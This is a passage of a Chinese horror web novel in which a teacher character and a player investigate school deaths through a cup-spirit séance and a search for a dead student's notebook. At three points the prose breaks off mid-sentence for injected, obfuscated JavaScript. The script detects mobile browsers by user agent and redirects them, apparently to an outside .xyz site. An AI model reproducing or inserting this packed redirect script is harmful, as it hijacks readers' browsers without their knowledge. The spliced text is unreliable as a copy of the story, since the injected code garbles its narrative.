小帅从窗户缝里挤进来之后,就跟进了自家似的,眼睛冒着绿光将屋内扫视了一遍,最后“咚”地一声跳到了床尾,寻了个舒服的姿势趴下,一点都不跟梨乐一客气。 梨乐一:“……你白天在校园里到处跑,上我的床好歹洗个脚吧。” 小帅高冷地转身背对梨乐一,缩成一团入睡。 …… 第二天早上,梨乐一又是被小帅的重量给压醒的,见到梨乐一醒来,小帅冲她喵了一声像是在和她说再见,然后毫无留恋地从窗户缝里挤出去离开。 梨乐一对着小帅圆润肥美的背影吐槽道:“用完就丢的渣男。” - 昨天半夜依旧死人了,死的人是岗位为维修人员的余兴。 和余兴同为维修人员的玩家脸色惨白:“我昨天一直跟他在一起,我们没有遇到过诡异事件,他做的事情我几乎也都做过了,我是不是也快要死了……” 因为这句话,绝望的氛围开始在玩家之间扩散开来。 方华明和罗元松姗姗来迟。 休息了一个晚上,方华明的脸色依旧很差,眼睛底下挂着两个大大的黑眼圈,看上去似乎一晚上没睡。 他站在人群最后扫了一眼余兴的尸|体,随后便垂下眼,一副事不关己的模样。 梨乐一从方华明身上收回视线,若有所思。 按照这个规律,今天中午的时候,应该就会出现第四名死亡的玩家,可死亡条件到底是什么?她都把彭思名的遗物带回宿舍了,居然还没有触发死亡条件?! 她这下是真没招了。 时间很快来到中午,众人谁也不知道第四个死去的人会不会是自己,只能无力又恐惧地等待着命运的宣判。 但直到午休时间结束,第四名死者也没有出现,众人你看看我,我看看你,眼中皆是一片茫然。 “没死人就没死呗,这不是好事嘛,这说明我们之中没有人再触发过死亡条件。”一直沉默的方华明突然开口。 他说着站起身:“都别傻坐着了,回去上班吧。” 梨乐一奇怪地看着方华明。 虽说方华明脸色看上去依旧不太好,但是他整个人给人的感觉突然不一样了,刚才梨乐一还能从他身上看出不安和害怕的情绪,但此刻他整个人都安定下来了,变得异常平静和淡然。 鹤溪也默默看着方华明离开的背影,直到彻底看不见才收回视线。 - 毫无收获的一天结束。 深夜,梨乐一洗漱完正准备上床休息,房门突然被人敲响了。 她打开门,门外站着的人是鹤溪。他脸色苍白,面无表情地站在光线昏暗的楼道里,身后是仿若能吞噬一切的黑暗。 换做是其他人这副模样,梨乐一或多或少会觉得有些阴森,但是放在鹤溪身上却不会。 梨乐一将其原因归咎于他那张俊美异常的脸上。 鹤溪朝屋内看了一眼,问:“我可以进去吗?” 梨乐一猜测他是有话想对自己说,便侧身给他让了条道:“进来吧。” 鹤溪微微愣住,似乎是没有想到梨乐一连一秒犹豫都没有便让他进了房间。 他抬脚走进房间,想了想,忍不住叮嘱身后跟进来的梨乐一:“以后不要让男人进你的房间,无论是副本内还是副本外,只要是你一个人单独在屋里,就不行。” 梨乐一乐道:“那我现在要赶你出去吗?” 鹤溪不说话,走到沙发边坐下:“我有东西要给你看。” 等梨乐一走过去坐下后,鹤溪才神情严肃地又开口:“这个副本里,【怨】应该不会再出现了。” 他拿出一张折了好几折的纸,在梨乐一面前展开。 梨乐一看到这张纸,想起了什么:“这张纸不会是昨天下午小帅叼给你的那张吧?” 鹤溪动作一顿,抬眼看向梨乐一:“你看见了?” 梨乐一点头:“我当时在高中部的天台上,包括小帅从教学楼里跑出去,我都看见了。” 鹤溪:“那你为什么不问我?” “问你什么?” 梨乐一没懂鹤溪的意思,想了一会想明白了,无所谓地耸耸肩:“我以为那不是什么重要的东西,所以你才没有说。” 鹤溪抿了抿唇,片刻后开口:“其实不管重不重要,我都会说,我只是……” “只是什么?” “你看看就知道了。”鹤溪没再解释,将纸递到梨乐一面前,纸张边缘参差不齐,像是从某个本子上撕下来的。 梨乐一看清楚纸上写的内容后,瞳孔骤缩。 【请杯仙】 【道具:一张纸,一个杯子,在纸上写上“是否”。 开始游戏后,杯子倒扣在纸上,参与者围坐,指尖轻触杯底,齐声念诵咒语……】 “这是……见鬼的方法?”梨乐一看着纸上记载的杯仙游戏玩法,有些不敢置信地道。 “这还是小帅叼给你的?”梨乐一音调升高,“它该不会成精了吧?!” 鹤溪轻咳了两声:“它以为是玩具,所以来找我,想让我陪它一起玩。” 梨乐一对鹤溪的话不疑有他:“原来是这样,它果然成精了。” 鹤溪顿了顿,将话题拉回纸条上:“这方法有风险,所以我拿到后没有第一时间告诉你,因为我需要去验证我的猜想。” 梨乐一不解:“验证?怎么验证?” 鹤溪不紧不慢地道:“我怀疑,方华明昨天晚上已经试过某个见鬼的方法了。” 梨乐一闻言心头一跳,随即便想起方华明从昨天到今天的一系列异常的行为。并且中午过后,得知没有玩家死亡,方华明就像是换了个人似的,用容光焕发来形容也不为过。 “昨天晚上,我在方华明的卧室里看见了一把打开的伞,如果我没记错的话,民间传说里有一种说法,在屋内打伞可以见到鬼魂。” “所以你是说,”梨乐一倒吸一口凉气,“方华明昨天晚上借口身体不舒服先回宿舍,实际上是因为他也找到了记录见鬼方法的纸条,着急回去试?” “对。” 鹤溪点头,看着梨乐一手里的纸条:“今天中午死的人也许本该是他,但他通过在屋内打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359791|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伞见到了彭思名或者女生的【怨】,避免了自己的死亡,这也能解释清,为什么中午前后方华明变化会这么大。” 鹤溪的话让梨乐一感到悚然一惊的同时,却也在不知不觉中相信了大半,因为他们这两天来的确没有再遇到任何的诡异事件,但玩家仍在接二连三地死亡。 【怨】的副本绝不会一条生路也不给玩家留,所以,鹤溪的猜测很有可能是真的。 “不对啊。” 梨乐一顺着鹤溪的话想了想,又觉得奇怪:“方华明怎么知道他今天中午会死?” 鹤溪嘴唇一开一合,平淡地吐出两个字:“顺序。” “你还记得我们入校后的第一件事,是被教导主任叫去签到吗?” 梨乐一点头:“记得。” “在本子上第一个写下自己名字的人,是付江。我当时大概扫了一眼,在他之后签下名字的两人,也就是在他之后死去的那两个人。” 梨乐一后背逐渐爬上一层鸡皮疙瘩:“所以,死亡条件就是在本子上写下自己的名字?死亡条件从一开始就被触发了?!” 而最令梨乐一感到恐惧的是,如果她没有记错的话,她是倒数第二个签名的,意思就是,她的死亡顺序排在倒数第二?! 在那之前,无论她怎么作死都不会死?! 还有比这更恐怖的事情吗?!!! 鹤溪淡淡地看了她一眼:“也许,但具体的要等我们找到签名的那个本子才能确定。” “不过,我推测这个副本里的【怨】应该不会再出现了,我们需要靠着这种见鬼方法才能再见到他。关于死亡顺序以及如何解开这个副本【怨】的线索,也只有见到【怨】后才会知道。” 梨乐一闻言压下心中激荡的情绪,低头看向手里详细记载着见鬼方法的纸条。 越看她越觉得,纸上记录杯仙玩法的字迹有些眼熟。 “这个纸张很眼熟,这个字迹也有点眼熟。” “你确定这个字迹看上去眼熟?”鹤溪问。 梨乐一:“嗯,怎么了?” “这个纸张的材质和颜色,都跟我们刚进校时签到本的纸张很像。很多地方签到用纸都是质量稍差的A4纸,但是那天我们签到却用的是纸张偏厚、且颜色偏黄的护眼纸张,所以我记得很清楚。” 梨乐一晃着手里的纸:“你的意思,这张纸是从我们签到的本子上撕下来的?” 鹤溪神情严肃:“有可能,但如果你能想起来你在哪里看到过这个字迹,我们也可以去那里找找线索。” 梨乐一立刻开始头脑风暴起来。 两分钟之后,她激动地将手里的纸张挥得哗哗作响:“我想起来我在哪里见过了!” “我在彭思名的卷子上见到过!” 五分钟后,换下睡衣的梨乐一跟着鹤溪走出电梯,急匆匆地往高中部教学楼的方向走去。 现在时间已经快到零点,整座校园被黑暗寂静吞没,空旷的道路上只有梨乐一和鹤溪交叠的脚步声。 经过学生宿舍的时候,路边遮天蔽日的树影里突然传来了窸窸窣窣的动静。 鹤溪一把将梨乐一拉到自己身后。 树后,阴影层层叠叠,那浓到几乎能吞噬一切的黑暗里,慢悠悠走出来一道穿着蓝白校服的高挑身影。 令梨乐一没想到的是,来人竟然是今天一整天都不见人影的陈敛。 25. 见鬼 梨乐一立刻警惕起来:“陈敛,你白天逃课就算了,大半夜在校园里乱晃什么?” 陈敛一副事不关己高高挂起的散漫模样,视线落在站在梨乐一身前的鹤溪身上,不冷不淡地道:“大半夜不睡觉,老师你又在校园里乱逛什么?” 梨乐一被陈敛一句话怼得气不打一处来,现在嘲讽她的时候知道叫一声老师了:“我有正事要做。” 陈敛喉咙里滚出一声低笑:“什么正事是要大半夜和一个男、人,在空无一人的校园里做的?” 梨乐一正要开口,鹤溪上前一步挡在陈敛和梨乐一中间。 他语气平淡,不像陈敛说话时句句都带刺,只是在陈述一个事实:“很晚了,你该回去休息了。” 陈敛平视鹤溪,一字一顿道:“这里什么时候有你说话的份?” “喵~” 一声黏糊糊的猫叫声突兀地插|进两人之间剑拔弩张的氛围,三个人不约而同地低头看去—— 就见小帅正亲昵地蹭着陈敛的小腿,蹭了几下之后,又转头蹭起了鹤溪。 梨乐一心里默默期待小帅蹭完鹤溪来蹭一蹭自己,但小帅连半个眼神都没分给她,只在鹤溪和陈敛之间打转。 梨乐一不在意地移开视线,呵,一只猫而已,其实也没有很想被它蹭。 “行了行了,”梨乐一不耐烦地朝陈敛摆了摆手,“大人的事情小孩别掺和,赶紧回去睡觉吧你,明天上课要是见不到你人,我就给你家长打电话,让他们把你接回家去别来上学了!” 陈敛双手插兜,丝毫不受梨乐一的威胁:“我没爸妈,你对付平常学生的那套方法对我来说没用。” “再说,路这么宽,我挡着你了吗?是你自己不走站在这里跟我说话的,跟我有什么关系。” 梨乐一被陈敛怼得心梗,但他说的又的确是事实,她气鼓鼓地瞪了陈敛一眼,拉起鹤溪的手转身就走:“走,我们干我们的事去,别管他!” 鹤溪回头看了眼陈敛,随即便收回视线,低头直勾勾盯着被梨乐一牵着的那只手。 高中部教学楼有两个门,一个前门一个后门,为了不惊动保安亭里的钟心闻等人,梨乐一选择从后门撬锁溜进楼内。 进到高三四班,梨乐一牵着鹤溪来到彭思名的座位前,她放开鹤溪的手,弯腰开始翻彭思名的抽屉。 鹤溪则是默不作声地盯着自己变得空落落的手。 梨乐一翻出一本彭思名的错题本摆到桌面上,随后朝鹤溪摊开手。 鹤溪愣了愣,悬在半空中的手指尖微动。 梨乐一:“把那张纸条拿出来吧。” 鹤溪:“……好。” 他将纸张摊开放在桌上,主动拿出手机给梨乐一照明。 梨乐一将纸条上的字和错题本上的字迹认真对比后,确定道:“这个字迹就是彭思名的字迹。” 鹤溪举着手机站在梨乐一身旁,也和她一起低头看着错题本上的字:“所以,这张纸是从彭思名的笔记本上撕下来的。” 梨乐一点头,而后弯腰将抽屉里的东西全部给抱了出来,放在桌上:“找吧,看看记录见鬼方法的笔记本在不在这里。” 话音刚落,陈敛从门外走了进来。他看见梨乐一和鹤溪站在彭思名的桌前一点也不惊讶,似乎早就料到了他们会这么做。 梨乐一看见陈敛进来,心中顿时警铃大作,她本来就怀疑陈敛跟彭思名的死有关系,现在陈敛又跟到了教室里来,很难不怀疑他是专门来搞破坏的。 陈敛不紧不慢地走到彭思名隔壁的座位上靠着,跟着他进来的小帅也跳到桌上,乖乖坐下。 梨乐一拉着鹤溪离陈敛远了一点,她死是得偿所愿,但鹤溪就是一个普通玩家,他要是在副本里死了就是真的死了。 陈敛似乎没察觉到梨乐一戒备疏远的态度,问道:“你还是要调查彭思名的事?” 梨乐一没有立刻回答陈敛的问话,鹤溪垂手站在梨乐一身旁,一副无甚所谓的表情看着陈敛。 陈敛不看鹤溪,只看着梨乐一:“即便我说过,调查彭思名的事会死?” 鹤溪闻言微微眯起眼,梨乐一则是故作镇定地回道:“这应该跟你没关系吧。” 陈敛一双黑眸在昏暗的光线中格外明亮,他看着梨乐一,忽地笑了:“你怀疑我跟彭思名的死有关系?” 梨乐一心头一跳,但想着既然陈敛主动戳破了这层窗户纸,那她也不跟他绕弯子了,兴许还能趁此机会从他嘴里套出点消息来。 “不然呢?别的同学都对彭思名的死一问三不知,只有你,三番五次地警告我,不让我再调查彭思名的事情,真的很难不怀疑你在隐瞒什么吧。” 陈敛嘴角散漫的笑意收敛了几分,良久才开口:“因为我见过被彭思名鬼魂害死的人。” 梨乐一瞳孔骤缩。 吴浩远不是说学校近来除了彭思名,没有其他学生出事吗? 陈敛黑眸灼灼地盯着梨乐一,仿佛看透了她的想法般道:“在彭思名死后,学校里是没有学生出过事,但你有没有想过,学校为什么会突然招聘一批新职工?” 陈敛说着看了一眼梨乐一身旁,脸上依旧没什么表情的鹤溪:“其他人我不知道,但班主任我是亲眼看见的。” 他和梨乐一四目相对:“就是在你来之前的,高三四班的班主任。” “他死在了宿舍里,学校发现之后便立刻封锁了消息,再加上当时时间很早,校园里一个学生都没有,学校便派人偷偷将班主任的尸体运出去处理掉了。” 陈敛似乎是站累了,随手拖过一把椅子坐下:“我那天早上出去晨跑,碰巧看见的。” “他的手和脚全被砍断了,如果是自杀的话,肯定不会选择这么残忍的手法。而学校之后对我们班的学生只说,班主任辞职不干了,这也让我确定了我的猜想,班主任是被某个不敢说,或者是不能说的存在杀死的。” 梨乐一对于陈敛的话持半信半疑的态度:“可是你没亲眼见到前一任班主任的死亡,你怎么知道他的死和彭思名有关系。” 陈敛薄唇轻启,吐出两个字:“直觉。” 梨乐一本来都快相信陈敛的话了,听到直觉二字后,眼中的信任又立刻变为了怀疑。 陈敛喉咙里滚出两声低笑,随即便解释道:“在彭思名死前一两周左右吧,班主任莫名其妙地开始针对他,比如故意当着全班的面说他弄那些神神鬼鬼的东西,精神不正常之类的。” “在彭思名死后,他但凡听到彭思名这三个字,脸上表情都会变得古怪,所以我合理推测,班主任的死跟彭思名有关系,说不定就是彭思名的鬼魂把他杀死的。” 陈敛说完,梨乐一久久没有出声。 坐在桌上的小帅用课桌磨了磨爪子,撅起屁|股一个起跳,精准降落在陈敛的腿上,开始踩奶。 陈敛有一搭没一搭地挠着小帅下巴:“怎么样,现在信我了吗?” 梨乐一没回答陈敛的问题,她走回彭思名的位置旁,继续翻刚才没有翻完的笔记本。 鹤溪默默走上前和她一起。 陈敛声音沉了下去:“你还是不信我?你觉得我跟你说会死,是在恐吓你、和你开玩笑?” 梨乐一翻着彭思名的笔记本,发现这里都是些课堂笔记或者错题本,并没有缺少页数,也没有记录和课堂无关的东西。 听到陈敛的话,她无奈地叹了口气:“我相信你,但这些事情我不得不做。” 她随手拿起一个彭思名的作业本撕下一张纸,用笔在纸上写下大大的“是”和“否”,对着身旁的鹤溪道:“来吧。” 陈敛皱眉看着二人动作。 就见鹤溪绕到桌前和梨乐一面对面坐下,而后从他那个大的斜挎包里拿出来一个透明的玻璃杯,倒扣在纸上,两个人不约而同伸出左手,食指指尖轻触杯底。 陈敛越看越不对劲,忍不住出声打断二人:“你们现在不会是准备在彭思名的座位上玩招鬼游戏吧?” “嗯,”梨乐一好整以暇地看着他,“所以你现在离开还来得及。” 陈敛终于不再是那副散漫、对什么事都不上心的模样,他上前一把捉住梨乐一的手腕,咬着牙一字一顿地问道:“你知不知道你现在在干什么?” 梨乐一用力抽回自己的手:“知道。” 鹤溪原本坐直的身体在看到梨乐一抽回手后,又慢慢靠回了椅子里。 陈敛站在桌边一动不动。 梨乐一担心再这么耽搁下去,今晚什么都干不了,语气严肃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370089|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对陈敛道:“行了,我要做什么你管不着,这件事情跟你也没关系,你从哪来回哪去,赶紧回宿舍睡觉去。” 陈敛一双黑眸死死地盯着梨乐一,少年咬着牙不说话的表情看上去莫名有些委屈,以至于让梨乐一生出一种自己在欺负他的感觉。 她甩了甩脑袋,将那些乱七八糟的想法甩掉,正琢磨着该用什么借口将陈敛打发走,陈敛忽地笑了。他脚往身后一勾,勾过来把椅子在梨乐一身边坐下,然后也伸出左手食指抵住杯底。 “开始吧。” 梨乐一瞪大眼睛,不敢置信地看着陈敛:“你干什么?” 陈敛:“玩游戏啊。” 梨乐一:“你——” “不行!” 为了让自己显得更有气势一点,梨乐一站起来,自上而下俯视着陈敛:“这里不是你该待的地方,你赶紧回去睡觉!” 陈敛闲哉哉地倚上背后的桌子,一副我就是不走、你能拿我怎样的表情。 “他想加入就让他加入吧。”一直没吭声的鹤溪开口,“再耽误下去,天就要亮了。” 眼看陈敛态度坚决,鹤溪也松了口,梨乐一想着彭思名并不怨恨同学,陈敛玩这个游戏应该不会有什么危险,便也不再说什么。 她专注在面前的杯子上,和鹤溪一起念出纸上记录的咒语。 不知是不是错觉,梨乐一感觉念出咒语后,教室周遭没有被月光照亮的阴影仿佛有生命般开始流动了起来。 像缓慢翻涌的黑雾,慢慢朝着他们三人靠近。很快,梨乐一连蹲在一旁课桌上的小帅都看不清了。 原先还有些热的教室现在冷的跟冰窟似的,梨乐一忍不住打了个寒颤。 忽地,杯子在纸上缓慢地游走起来,没什么规律,只是在画一些无意义的线条。 鹤溪见状开口:“你是彭思名吗?” 话音落下的下一秒,梨乐一看见一只灰白的手缓缓从窗外的黑暗中伸出来,它伸出一根手指抵住杯底,将杯子慢慢往“是”字推去。 - 孙欣欣突然睁开眼睛,眼前一片漆黑。 等眼睛慢慢适应了周围的黑暗,她发现自己正站在卫生间的镜子前,手里拿着梳子,对着镜子一下一下,梳着自己的头发。 卫生间内没有开灯,光线十分昏暗,但孙欣欣却能清楚地看见镜子里的自己。 她穿着简单的T恤短裤,脸上是一副刚从睡梦中醒来的困倦模样,但手上梳头的动作却一刻不停。 不对,不对! 她不是在床上睡觉吗?为什么会突然出现在卫生间里,还对着镜子梳头? 孙欣欣意识到了不对劲,她想离开卫生间,却发现自己的身体似乎不受自己控制了。 无论她怎么努力挣扎,自己始终站在镜子前一动不动,她想停下梳头的动作,手却始终紧紧地握着梳子。 一下,两下。 安静的卫生间内,只能听到木梳梳过头发时,发出的规律的唰唰声。 孙欣欣全身上下只剩下眼睛还可以自由转动。 她抬眼看向镜子,镜中的女生垂着眼,嘴角挂着一抹浅淡的笑容,手上动作轻柔,是她每天梳头都会从镜子里看到的景象。 但此时此刻,她只觉得毛骨悚然。 这到底是怎么回事?她是在做梦吗?她为什么无法控制自己的身体了?! 下一秒,镜中人缓缓抬眼,对上孙欣欣的视线。 “你看见了。”孙欣欣听见从自己嘴里发出的声音。 她瞬间被巨大的恐惧吞没,嘴唇颤抖,好半天才发出断断续续、不成调的气音,和镜中的“她”对话道:“看……看见什么?” “你看见了。”孙欣欣再次听到自己口中发出声音,但“她”并没有回答刚才她问出的问题,只是重复着那句话。 “我……我……我不知道我看见什么了?” 在孙欣欣说出这句话的下一秒,镜中人当即变了脸色,“她”眼神幽怨,将梳子往洗手台上重重一放。 孙欣欣听见自己声嘶力竭的吼声:“你看见了!” 镜中人的面容和身形开始扭曲,最后变为了一个穿着校服满身是血的陌生男生:“你看见了!” “你看见了!!!” 26. 见鬼 高三四班教室,杯子缓缓停在了“是”字上。 果然,他们玩杯仙招来的鬼是彭思名。 不知道是不是错觉,梨乐一总感觉那只干枯灰白的手出现后,萦绕在周围的黑暗里,突然多出了一道紧盯着自己的、阴森怨毒的视线, 她转念一琢磨,现在这间教室里只有自己见过彭思名的【怨】,根据副本里每个人不同的身份来判断,彭思名最恨的人就是班主任,也就是她,所以他才会在三人中盯上自己。 嗯,非常合理,而且正合她意。 刚才鹤溪已经问了一个问题,现在轮到梨乐一问了,梨乐一垂眸沉思片刻,开口:“你是因为玩招鬼游戏死的吗?” 话音落下,教室里的温度骤然下降好几个度,梨乐一感觉自己现在跟坐在冰天雪地里无异。 周围的黑暗也仿佛停止了流动,耳边喧嚣退去,哪怕是一点细微的声音都被静止的黑暗吞没。 不安和恐惧在真空般的寂静里疯狂生长,陈敛和鹤溪都纷纷沉了脸色,警惕地看着四周。 没过多久,杯子再次缓缓动起来,预想中的恐怖事件并没有发生。 梨乐一本来是有些失望的,但看着杯子移到了“否”字上,又立刻皱起了眉。 彭思名不是因为招鬼游戏死的,那那个女学生就不是他玩招鬼游戏招来的。 小帅此刻非常乖的没有来打扰他们,它跳到鹤溪旁边的窗台上安安静静地坐下,圆溜溜的眼睛一眨不眨地盯着桌上三人的情况。 轮到陈敛问了,他顺着梨乐一的话问道:“你是自杀吗?” 杯子没动,一直停在“否”字上。 三人相互对视一眼,明白了这就是问题的答案。 彭思名不是自杀,也不是被鬼杀的,他是被人杀死的。 不过现在还不是想这些的时候,鹤溪再次念起了咒语,准备把彭思名的【怨】送走,结束这场恐怖的“游戏”。 可那只干枯灰白的手却猛地一下抓住杯子,杯子开始在纸上无意义地乱画起来,越来越快,越来越快,连带着三个人的手一起。 游戏还没有结束,这也代表着他们的手不能从杯子上移开。 鹤溪咬咬牙,继续念咒语,陈敛梨乐一见状也跟着他念起来。 一旁的小帅突然全身炸毛,尾巴高高竖起,前肢趴地伏在窗台上,眼睛死死盯着窗外。 与此同时,鹤溪和陈敛像是意识到了什么,双双看向梨乐一,但还不等他们说些什么,一阵风骤起,蓝色的窗帘被高高扬起,霎时将二人罩住。 窗帘落下,桌边的鹤溪和陈敛已然不见了踪影,就连窗台上的小帅也不见了。 教室里只剩下梨乐一一人,周围一下子安静得可怕。 梨乐一猛地从座位上站起来,环视四周,想找出什么异常。再一转头,发现原本鹤溪的位置上此刻坐着一个满脸是血,目光怨毒的男生。 彭思名。 彭思名眼眶猩红,眼中缓缓流下两行血泪。 “你……该……死……” 沙哑腐烂的声音从彭思名的嘴里缓慢地吐出来,像是粗粝的砂纸重重碾过耳膜,令人极度不舒服的同时,也带给人阴冷深寒的恐惧。 “你……该……死……” 梨乐一看着彭思名脸上狰狞的表情,内心突然被一股巨大的恐惧淹没。但她很快便清楚地意识到,这份恐惧并不是来源于她自己。 当了NPC这么久,虽然每次在面对【怨】和死亡时,她还是会不由自主地感到害怕,但绝不会像现在这样,恐惧害怕到甚至无法呼吸,仿佛有一双看不见的大手正死死地勒住她的脖子。 而在这份来历不明的恐惧中,还夹杂着深深的厌恶和痛恨,以及不得不屈服的不甘。 脑海中有个声音不停地在说对不起。 “对不起,我错了。” “对不起,我再也不敢了,你原谅我吧。” “对不起,对不起,对不起……” 梨乐一不知道这声音来自哪里,但思绪却在一声接着一声的对不起中逐渐模糊。 她嘴唇微动,没来由地也想跟着那个声音一起说对不起。 “你……该……死……” 彭思名的声音再一次响起,梨乐一知道自己最期盼的时刻就要到来了,她努力地跟脑海中那个声音做抗争,在几欲窒息的痛苦中,艰难地说出了那三个字: “我……愿……意……” “咚!” 脑袋突然遭受到了不明物体的重击,天旋地转之后,梨乐一再次睁开眼,发现面前是陈敛紧张担心的脸,背后则抵着一个坚实温暖的胸膛。 “砰!” 还没等梨乐一反应过来,迎面又来了一个巴掌,毛茸茸的,随之而来的还有一声尖锐的猫叫:“喵!” “我这是……嗬——” 梨乐一气还没来得及喘匀,胸口又遭受到一记重踹。 小帅借助梨乐一跳到桌子上,身体下沉做出起跳的姿势。 “可以了,她已经醒了。”鹤溪开口阻拦。 小帅竖起的尾巴终于放了下去,一屁|股坐在桌上开始舔毛。 梨乐一:“……?” “刚才要送走杯仙的时候,你整个人突然开始抽搐,然后双手死死地掐住自己的脖子,我们怎么叫你你都没反应。”鹤溪解释道,“我们没办法,只能试试看这种方法能不能叫醒你。” 梨乐一这才发现自己的双脚被陈敛按住,双手则是被身后的鹤溪给紧紧固定住。 鹤溪:“你的力气大到我们两个人都差点制不住你。” 陈敛见梨乐一恢复了正常,便松开了她的脚,把她从鹤溪怀里拉起来,扶到桌边坐下。 鹤溪看了眼陈敛,默默起身靠在梨乐一身侧的桌子上。 梨乐一拍掉脸上的猫毛,不敢置信地道:“所以,我刚才是被小帅一屁|股坐醒的?” 她心绪复杂地看向小帅那张圆润的大脸盘子。 没想到这猫不仅有灵性,还懂得感恩,自己每天晚上收留它睡觉,它就以这种方式来报答自己。 梨乐一忍着任务失败的沮丧,对小帅说:“谢谢你救我一命,帅哥……”唔,这个称呼怎么听上去那么奇怪? 小帅沉浸在舔毛中,不知天地为何物。 鹤溪垂眸看着梨乐一还没有恢复血色的脸:“你刚才看见彭思名了?” 梨乐一揉着酸疼的脖子,声音有些沙哑:“嗯。” “他跟你说了什么,你会说那句话?” 梨乐一奇怪地问:“我说了什么话?” “我愿意。”陈敛面无表情地搭话,可微微颤抖的尾音却暴露了他还未完全平复的心情。 梨乐一:“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374835|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他跟我说……跟我说……” 梨乐一立刻做出一副虚弱、还未从刚才的惊吓中缓过神来的模样,大脑飞速转动开始想合适的理由:“他问我、问我……问我想不想知道他的死因,我说我愿意。” 梨乐一佯装失望地道:“可惜,我没能听到他的回答就醒了。” 陈敛对梨乐一的话半信半疑:“他想告诉你他的死因,却让你掐着自己的脖子听?他到底是想让你知道,还是不想让你知道?” “咳咳咳。” 梨乐一心虚地咳嗽了几声,解释道:“你都说了他恨班主任,我也是班主任,所以他连带着把我也恨上了,掐我脖子不是应该的嘛。” “他要是不恨我,会在三个人里偏偏选择了我吗?” 鹤溪收回落在梨乐一脸上的视线,起身走到桌边,开始整理桌上玩杯仙后的残局。 小帅见状跳到窗台上乖乖坐着,给鹤溪腾地。 “人没事就好。”他语气平淡地道。 明明是一句再普通不过的话语,可是从鹤溪口中说出来,却莫名多了几分苦涩的味道。 心里某根弦被这句话被轻轻波动了一下,发出轻柔却绵长的震颤,这是梨乐一成为副本NPC以来从未有过的心情。 她默了片刻,小声地嘟囔了一句:“谢谢。” 鹤溪就站在梨乐一身旁整理,动作时,衬衫衣摆时不时就会扫过梨乐一的脸颊,带起一片细细密密的痒。 梨乐一莫名觉得有些别扭,坐了片刻,索性上手帮鹤溪一起整理。 只不过没过多久,鹤溪手上动作顿了顿,忽然又将他整理好的书本一股脑地摊开在桌上。 梨乐一疑惑:“怎么了?” 鹤溪眉心微蹙:“那张纸不见了,就是记录杯仙玩法的那张。我记得玩杯仙之前,那张纸就放在这叠书本上。” 梨乐一见状也帮着找起来,奇怪的是,那张纸消失得无影无踪,连一点碎屑都没有留下。 刚才因为梨乐一的突发状况,鹤溪压根分不出神去注意其他的,所以他不知道那张纸是什么时候消失的,也不知道是被谁给拿走的。 问了陈敛,陈敛也说他没注意。 梨乐一若有所思地道:“也许,是彭思名把它拿走的也说不定。” “嗯。” 鹤溪闻言不再纠结此事,反正游戏也已经结束了。他将桌子收拾好,低头看向梨乐一:“走吧,记录见鬼方法的笔记本不在这里,我们再去其他地方找找看。” 三人一猫在教学楼里摸黑前行,来到了教导主任的办公室前。 “你们找彭思名的笔记本干什么?” 陈敛垮着脸走在梨乐一身边,看得出来他对于梨乐一和鹤溪深更半夜不睡觉,在教室玩招鬼游戏不说,现在还在教学楼里乱逛的行为非常不满意。 梨乐一叹了口气,语重心长地道:“我们找那样东西肯定是有用的,但是你小孩子知道太多不好,困了就早点回去睡觉吧,我们的事情,你本来就不该牵扯进来。” 陈敛脸色更臭了,他不说话,也没有离开。 前头的鹤溪回过头来看了他一眼,推开教导主任办公室的门:“进去吧。” 梨乐一诧异:“教导主任下班居然不锁门?” 鹤溪站在门边,语气平淡地道:“他锁了,然后刚才被我打开了。” …… 27. 见鬼 教导主任办公室不算大,进门左手边放了一个二人座的会客沙发,往里走是有整面墙那么高的书柜,书柜紧挨着办公桌。 明明不大的一间屋子,这样紧凑的摆放倒显得有些空荡荡的。 三人在办公室里翻找了一番,最后将目光锁定在书柜最底层那个锁着的抽屉上。 鹤溪蹲在书柜前,从兜里摸出来一根细铁丝,轻车熟路地捅|进锁眼,抽屉拉开,里面赫然躺着一本黑色封皮的笔记本。 鹤溪拿起笔记本,翻开第一页便确定了这就是他们要找的笔记本。 笔记本被撕去了不少页数,应该都是彭思名记录的那些见鬼方法。剩下的笔记里,第一页的内容记录的也是彭思名曾经玩招鬼游戏的经历。 梨乐一原本以为,之前在教室里消失的那张记录杯仙玩法的纸会回到这个本笔记本里,但现在看来,那张纸似乎是彻底消失了,一点痕迹也没有留下。 她心中觉得奇怪,不过并没有深想,将视线重新放回彭思名的笔记本上。 书柜前光线不太好,鹤溪拿出手机手电筒照明,快速将笔记本翻到写有内容的最后一页。 梨乐一看清纸上字迹的同时,瞳孔骤缩。 付江,丽丽,余兴…… 